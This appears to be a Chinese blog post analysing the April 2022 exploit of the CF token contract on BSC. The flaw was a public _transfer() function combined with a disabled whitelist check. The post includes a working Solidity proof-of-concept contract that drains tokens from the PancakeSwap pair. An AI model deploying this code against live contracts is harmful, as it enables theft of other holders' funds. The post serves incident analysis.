北京时间 2022 年 4 月 11 日, CF 代币合约被发现存在未验证发送者权限的漏洞,它允许任何人转移他人的 CF 余额。到目前为止,损失约为 190 万美元,而 pancakeswap 上 CF/USDT 交易对已经受到影响。
北京时间 2022 年 4 月 11 日, CF 代币合约被发现存在未验证发送者权限的漏洞,它允许任何人转移他人的 CF 余额。到目前为止,损失约为 190 万美元,而 pancakeswap 上 CF/USDT 交易对已经受到影响。
合约所有者地址:0xcd87248c74915e85f80293f10dcf300a73bc6581
攻击者地址(其中一个):0xee0221d76504aec40f63ad7e36855eebf5ea5edd
交易 hash(其中一个):0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0
漏洞合约:0x8B7218CF6Ac641382D7C723dE8aA173e98a80196
这个漏洞的能够实现主要是以下两点
useWhiteListSwith
设置为 false
。_transfer()
函数为public。2022-3-11日,管理员将useWhiteListSwith
设置为false
导致_transfer()
检查白名单的语句失效
分析tx0xc7647406542f8f2473a06fea142d223022370aa5722c044c2b7ea030b8965dd0
由于任何人都可以调用 _transfer()
函数加上没有了白名单的权限检测判断,导致了任何人都可以调用该函数转走其他地址的代币。
pragma solidity ^0.6.0;
// ganache-cli -f https://speedy-nodes-nyc.moralis.io/bsc/mainnet/archive@16841980
interface ICFToken {
function _transfer(
address from,
address to,
uint256 amount
) external;
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
}
contract Attack {
address public cftoken = 0x8B7218CF6Ac641382D7C723dE8aA173e98a80196;
address public cfpair = 0x7FdC0D8857c6D90FD79E22511baf059c0c71BF8b;
ICFToken cfToken;
event PrintBalance(uint256);
function attack() public {
cfToken = ICFToken(cftoken);
emit PrintBalance(cfToken.balanceOf(msg.sender));
cfToken._transfer(cfpair,payable(msg.sender),1000000000000000000000);
emit PrintBalance(cfToken.balanceOf(msg.sender));
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!